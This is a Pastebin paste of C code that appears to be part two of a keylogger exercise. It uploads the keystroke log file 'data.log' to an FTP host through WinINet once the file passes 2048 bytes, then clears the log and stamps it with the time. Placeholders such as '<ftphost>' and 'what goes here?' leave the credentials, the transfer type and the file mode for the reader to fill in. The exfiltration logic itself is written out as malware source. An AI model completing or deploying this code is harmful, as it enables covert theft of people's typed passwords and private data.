Advertisement
Guest User

stdio

a guest
Jan 25th, 2010
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.04 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <wininet.h>
  3. #include <time.h>
  4.  
  5. /*Part 2
  6. Sending logs
  7. fill in the missing details using
  8. http://msdn.microsoft.com/en-us/library/aa384180%28VS.85%29.aspx
  9. find the linker compile flag for wininet wont compile without it
  10. Use program flow provided and update main function accordingly.
  11. */
  12.  
  13. int SendLogs();
  14. int TimeStamp();
  15.  
  16. extern FILE *out_file;
  17.  
  18. /*Declare Time Variables*/
  19. struct tm *local;
  20. time_t t;
  21.  
  22.  
  23. /*Send Logs over FTP using wininet*/
  24. int SendLogs()
  25. {
  26.     t = time(NULL);
  27.     local = localtime(&t);
  28.    
  29.     HINTERNET hInternet;
  30.     HINTERNET hConnect;
  31.     HINTERNET lRes;
  32.     bool pass;
  33.  
  34.     hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
  35.     hConnect = InternetConnect(hInternet,"<ftphost>",INTERNET_DEFAULT_FTP_PORT,"what goes here?", "what goes here?", INTERNET_SERVICE_FTP,0,0);                          
  36.     pass = FtpPutFile(hConnect,"data.log",asctime(local),/*Find correct transfer type*/,0);
  37.                                
  38.     InternetCloseHandle(hConnect);
  39.     InternetCloseHandle(hInternet);
  40.  
  41.     if(pass==false)return 1; //If send fails, it will loop again, Not clearing the Log
  42.     TimeStamp(); // If sends start new log with Time Stamp
  43.     return 0;
  44. }
  45.  
  46. /*Send on file size > 2048 Bytes (~1page) */
  47. int CheckSize()
  48. {
  49.     int size;
  50.     out_file = fopen("data.log","<how should we open this??>");
  51.     fseek(out_file, 0L, SEEK_END);
  52.     size = ftell(out_file);
  53.     fseek(out_file, 0L, SEEK_SET);
  54.     fclose(out_file);
  55.     if (size > 2048)
  56.     {
  57.              SendLogs();
  58.              return 1; //debugging will stop keylogger after 1 send
  59.     }
  60.     return 0;
  61. }
  62. /*Time Stamps Log file, and Clears Current Content */
  63. int TimeStamp()
  64. {
  65.    
  66.     t = time(NULL);
  67.     local = localtime(&t);
  68.     out_file=fopen("data.log", "w+");
  69.     fputs("------Start Logging Time ------\n", out_file);
  70.     fputs(asctime(local), out_file);
  71.     fputs("-------------------------------\n\n", out_file);
  72.     fclose(out_file);
  73.     return 0;
  74. }
  75.    
  76.    
  77.                  
  78.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement